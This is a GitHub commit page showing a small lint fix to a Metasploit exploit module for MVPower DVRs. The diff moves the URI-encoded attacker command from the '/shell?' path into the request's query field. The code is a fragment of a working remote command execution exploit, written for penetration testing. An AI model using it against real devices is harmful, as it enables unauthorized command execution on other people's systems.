Skip to content

Commit 7933119

Browse files
committed
msftidy error updated 2.5
1 parent 67fc43a commit 7933119

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/linux/http/mvpower_dvr_shell_exec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -76,8 +76,8 @@ def check
7676
def execute_command(cmd, opts)
7777
begin
7878
send_request_cgi(
79-
'method' => "GET",
80-
'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
79+
'uri' => '/shell',
80+
'query' => Rex::Text.uri_encode(cmd, 'hex-all'),
8181
'headers' => { 'Connection' => 'Keep-Alive' }
8282
)
8383
rescue ::Rex::ConnectionError

0 commit comments

Comments
 (0)